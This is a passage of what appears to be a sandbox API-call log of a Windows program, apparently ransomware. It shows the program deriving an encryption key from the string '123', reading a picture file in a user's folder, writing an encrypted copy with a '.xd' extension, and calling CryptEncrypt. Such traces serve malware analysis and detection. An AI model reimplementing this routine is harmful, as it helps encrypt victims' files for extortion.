PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.346] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.346] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.346] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.346] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0061.346] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.346] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.346] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.346] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.346] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.346] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.346] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.346] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.346] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.346] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.346] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.346] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.346] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.346] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.346] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.347] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.347] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.347] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.347] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214b0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0061.347] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0061.347] CryptCreateHash (in: hProv=0x17aa1a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0061.347] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.347] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.347] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.347] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294a0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.347] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0061.347] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.347] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.347] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.348] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.348] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0061.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16217f8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0061.348] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0061.348] CryptHashData (hHash=0x164c370, pbData=0x1629460, dwDataLen=0x3, dwFlags=0x1) returned 1 [0061.348] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.348] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.348] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.348] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.348] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.348] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.348] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.348] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0061.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16218a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0061.349] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0061.349] CryptDeriveKey (in: hProv=0x17aa1a8, Algid=0x6610, hBaseData=0x164c370, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c3f0) returned 1 [0061.349] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.349] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.349] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.349] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.349] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.349] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.349] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0061.349] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0061.349] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0061.349] CryptDestroyHash (hHash=0x164c370) returned 1 [0061.350] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.350] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.350] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.350] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.350] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.350] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\clrtoncftus u7dnyu.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0061.350] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.350] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0061.350] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.350] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.350] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.350] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp")) returned 0x10 [0061.351] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\clrtoncftus u7dnyu.bmp.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0061.351] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.351] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.351] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.351] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.353] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0061.353] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xe92a, lpOverlapped=0x0) returned 1 [0061.355] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0061.358] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.358] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.358] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.358] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0061.359] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.359] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.359] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0061.359] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.359] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0061.359] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.359] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.359] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.359] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0061.359] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0061.360] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0061.360] CryptGetKeyParam (in: hKey=0x164c3f0, dwParam=0x7, pbData=0x1629470, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629470*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0061.360] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.360] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.360] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.360] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.360] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.360] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.360] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.360] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.360] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.360] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.360] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.360] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.360] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.360] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.360] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.361] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.361] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.361] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.361] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.361] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.361] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.361] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.362] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.362] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.363] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.363] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.363] CryptEncrypt (in: hKey=0x164c3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xe92a, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xe930) returned 1 [0061.363] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.364] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.364] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.364] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.364] CharLowerBuffW (in: lpsz="byte[59697]", cchLength=0xb | out: lpsz="byte[59697]") returned 0xb [0061.364] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.366] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.366] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.366] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.366] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 